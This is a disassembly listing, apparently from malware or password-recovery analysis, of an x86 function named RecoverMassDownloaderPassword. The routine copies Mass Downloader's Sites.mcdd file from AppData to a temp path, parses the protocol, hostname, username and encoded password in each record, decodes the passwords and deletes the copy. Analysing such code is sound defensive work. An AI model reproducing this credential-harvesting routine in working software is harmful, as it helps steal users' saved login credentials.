Function at 0x430dd7
Capabilities:
Copy file
Delete file
Get common file path
Get file size
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2744
call fcn.005fec20
mov eax, dword [0x708c34]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
push ebx
push str.RecoverMassDownloaderPassword
push str._s_Recovering_password_from_Mass_Downloader_file__s
call fcn.00449974
push 0xa
pop ecx
mov esi, str.MetaProductsMass_DownloaderSites.mcdd
lea edi, [ebp - 0x1b74]
rep movsd dword es:[edi], dword [esi]
push 0x3c0
xor esi, esi
lea eax, [ebp - 0x1b4c]
push esi
push eax
call fcn.00626f50
push ebx
call fcn.00631510
add esp, 0x1c
cmp eax, 1
jae 0x430e96
lea eax, [ebp - 0x2344]
push eax
push esi
push esi
push 0x1a
push esi
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
jns 0x430e6c
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.RecoverMassDownloaderPassword
push str._s_Failed_to_find_appdata_folder__Error0x_.8x
call fcn.00449974
add esp, 0xc
xor eax, eax
jmp 0x431393
lea eax, [ebp - 0x1b74]
mov ebx, 0x3e8
push eax
lea eax, [ebp - 0x2344]
push eax
push 0x66c218
lea eax, [ebp - 0x7ec]
push ebx
push eax
call fcn.00445d6d
add esp, 0x14
jmp 0x430eac
push ebx
mov ebx, 0x3e8
lea eax, [ebp - 0x7ec]
push ebx
push eax
call fcn.006311ec
add esp, 0xc
lea eax, [ebp - 0x7ec]
push eax
push str.RecoverMassDownloaderPassword
push str._n_s_Final_profile_path___s
call fcn.00449974
add esp, 0xc
lea eax, [ebp - 0x272c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
call dword [sym.imp.KERNEL32.dll_GetTickCount64]
push esi
push 0x186a0
push edx
push eax
call fcn.005feba0
push edx
push eax
lea eax, [ebp - 0x272c]
push eax
push str._smasdr__d
lea eax, [ebp - 0x404]
push ebx
push eax
call fcn.00445d6d
lea eax, [ebp - 0x404]
mov ebx, str.RecoverMassDownloaderPassword
push eax
push ebx
push str._n_s_:_Final_account_path_is__s
call fcn.00449974
add esp, 0x24
lea eax, [ebp - 0x404]
push esi
push eax
lea eax, [ebp - 0x7ec]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x430f61
call esi
push eax
lea eax, [ebp - 0x404]
push eax
lea eax, [ebp - 0x7ec]
push eax
push ebx
push str._s:_Failed_to_copy_file__s_to_tmp_file__s__Error0x_.8x
call fcn.00449974
add esp, 0x14
lea edi, [ebp - 0x7ec]
jmp 0x430f7c
lea eax, [ebp - 0x404]
push eax
push ebx
push str._s:_Successfully_copied_to_tmp_file__s
call fcn.00449974
add esp, 0xc
lea edi, [ebp - 0x404]
push edi
push ebx
push str._n_s_:_Final_account_path_is__s
call fcn.00449974
add esp, 0xc
xor eax, eax
push eax
push eax
push 3
push eax
push 1
push SysReAllocString
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x430fc2
call esi
push eax
push edi
push str.RecoverMassDownloaderPassword
push str._n_s_:_Failed_to_open__s__Error0x_.8x
call fcn.00449974
add esp, 0x10
jmp 0x430e65
xor ecx, ecx
push ecx
push ecx
push ecx
push 2
pop eax
push eax
push ecx
push ebx
mov dword [ebp - 0x2730], eax
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov esi, eax
mov dword [ebp - 0x273c], esi
test esi, esi
jne 0x43100b
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push edi
push str.RecoverMassDownloaderPassword
push str._s_:_Failed_to_create_flle_mapping_for__s___Error0x_.8x
call fcn.00449974
add esp, 0x10
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x430e65
xor edi, edi
push edi
push edi
push edi
push 4
push esi
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [ebp - 0x2738], eax
test eax, eax
jne 0x43104d
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.RecoverMassDownloaderPassword
push str._s_:_Failed_to_map_view_of_flle__Error0x_.8x
call fcn.00449974
add esp, 0xc
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push ebx
call esi
jmp 0x430e65
push eax
push str.RecoverMassDownloaderPassword
push str._n_s_:_File_is_successfully_mapped_at_address__0x_.8x
call fcn.00449974
add esp, 0xc
mov dword [ebp - 0x2740], edi
lea eax, [ebp - 0x2740]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0x2734], eax
cmp dword [ebp - 0x2740], edi
je 0x431095
push str.RecoverMassDownloaderPassword
push str._n_s_:_Critical_Situation___File_Size_is_higher_than_we_have_expected
call fcn.00449974
pop ecx
pop ecx
jmp 0x43103c
push eax
push str.RecoverMassDownloaderPassword
push str._n_s_:_File_size_is__u
call fcn.00449974
mov esi, str.description
mov dword [ebp - 0x10], 0x100
lea edi, [ebp - 0x1c]
mov dword [ebp - 0xc], 0x100
xor eax, eax
mov byte [ebp - 8], al
lea eax, [ebp - 0x1c]
movsd dword es:[edi], dword [esi]
push eax
push str._n_Searching_for__s_in_the_file_record
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call fcn.00449974
lea eax, [ebp - 0x1c]
push eax
call fcn.00631510
mov edi, dword [ebp - 0x2738]
push eax
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 0x2734]
push edi
call fcn.00449f17
mov esi, eax
add esp, 0x28
test esi, esi
jne 0x431116
push str.RecoverMassDownloaderPassword
push str._n_s_:_No_keyword_description_found__returning_now
call fcn.00449974
pop ecx
pop ecx
push dword [ebp - 0x273c]
jmp 0x43103d
mov eax, esi
sub eax, edi
push eax
push esi
push str._n_Found_description_keyword_in_record_at_0x_.8x__offset__0x_.8x_
call fcn.00449974
push 9
push str._n_Now_searching_for_1st_record_index_bytes_of_size__d
call fcn.00449974
push 9
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x2734]
sub eax, esi
add eax, edi
push eax
push esi
call fcn.00449f17
mov esi, eax
add esp, 0x24
test esi, esi
jne 0x431168
push 9
push str.RecoverMassDownloaderPassword
push str._n_s_:_Could_not_find_first_record__d_in_the_mass_downloader_site_file
call fcn.00449974
add esp, 0xc
jmp 0x43110b
mov eax, esi
sub eax, edi
push eax
push esi
push str._n_Found_1st_index_record_in_mass_site_file_at_0x_.8x__offset__0x_.8x_
call fcn.00449974
mov edx, dword [ebp - 0x2734]
xor ecx, ecx
add esp, 0xc
inc ecx
add edx, edi
mov dword [ebp - 0x2744], edx
xor eax, eax
mov dword [ebp - 0x2738], ecx
mov byte [ebp - 0xfbc], al
mov byte [ebp - 0x1f5c], al
mov byte [ebp - 0x13a4], al
mov byte [ebp - 0x178c], al
mov byte [ebp - 0xbd4], al
lea eax, [esi + 0x86c]
cmp eax, edx
ja 0x43135b
lea eax, [esi + 0x28]
push eax
lea eax, [ebp - 0xbd4]
push 0x3e8
push eax
call fcn.006311ec
lea eax, [ebp - 0xbd4]
push eax
push str._n_Found_Protocol__s
call fcn.00449974
lea eax, [esi + 0x48]
push eax
lea eax, [ebp - 0xbd4]
push eax
push 0x66ea84
lea eax, [ebp - 0x178c]
push 0x3e8
push eax
call fcn.00445d6d
lea eax, [ebp - 0x178c]
push eax
push str._n_Final_hostname___s
call fcn.00449974
lea eax, [esi + 0x451]
push eax
lea eax, [ebp - 0x13a4]
push 0x3e8
push eax
call fcn.006311ec
lea eax, [ebp - 0x13a4]
push eax
push str._n_Found_username__s
call fcn.00449974
add esp, 0x44
lea eax, [esi + 0x551]
push eax
lea eax, [ebp - 0xfbc]
push 0x3e8
push eax
call fcn.006311ec
lea eax, [ebp - 0xfbc]
push eax
push str._n_Found_encoded_password__s
call fcn.00449974
lea eax, [ebp - 0x1f5c]
push eax
lea eax, [ebp - 0xfbc]
push eax
call fcn.00407ea3
add esp, 0x1c
test eax, eax
je 0x4312b4
push 0xffffffffffffffff
mov ecx, 0x66ae5d
lea eax, [ebp - 0x1f5c]
push ecx
push eax
lea eax, [ebp - 0x13a4]
push eax
lea eax, [ebp - 0x178c]
push eax
push ecx
push 0x8c
push 5
call fcn.00412c85
add esp, 0x20
mov eax, dword [ebp - 0x2730]
add esi, 0xa60
mov byte [ebp - 0xb], al
mov byte [ebp - 0xf], al
lea eax, [ebp - 0x10]
push 9
push eax
push esi
call fcn.0062534d
add esp, 0xc
test eax, eax
je 0x431316
push dword [ebp - 0x2730]
push str._n_n__Failed_to_find_the_exact_start_bytes_for_next_record__d___doing_manually_index_now
call fcn.00449974
push 9
lea eax, [ebp - 0x10]
sub esi, 0x12c
push eax
mov eax, dword [ebp - 0x2734]
sub eax, esi
add eax, edi
push eax
push esi
call fcn.00449f17
mov esi, eax
add esp, 0x18
test esi, esi
je 0x431341
mov eax, str._n_Successfully_got_the_next_record_index_MANUALLY__d
jmp 0x43131b
mov eax, str._n_Successfully_verified_the_next_record__d
push dword [ebp - 0x2730]
push eax
call fcn.00449974
mov edx, dword [ebp - 0x2744]
pop ecx
pop ecx
mov ecx, dword [ebp - 0x2738]
inc ecx
inc dword [ebp - 0x2730]
jmp 0x43118c
push dword [ebp - 0x2730]
push str.RecoverMassDownloaderPassword
push str._n_s_:_Could_not_find_next_record__d_in_the_mass_downloader_site_file
call fcn.00449974
add esp, 0xc
jmp 0x43136b
push edx
push eax
push ecx
push str._n__Critical_Check__Next_Record___d__Total_size_is_Exceeding_the_file_boundary_0x_.8x...Aborting_now
call fcn.00449974
add esp, 0x10
push edi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push dword [ebp - 0x273c]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push ebx
call esi
lea ecx, [ebp - 0x404]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
xor eax, eax
inc eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.005fe955
leave
ret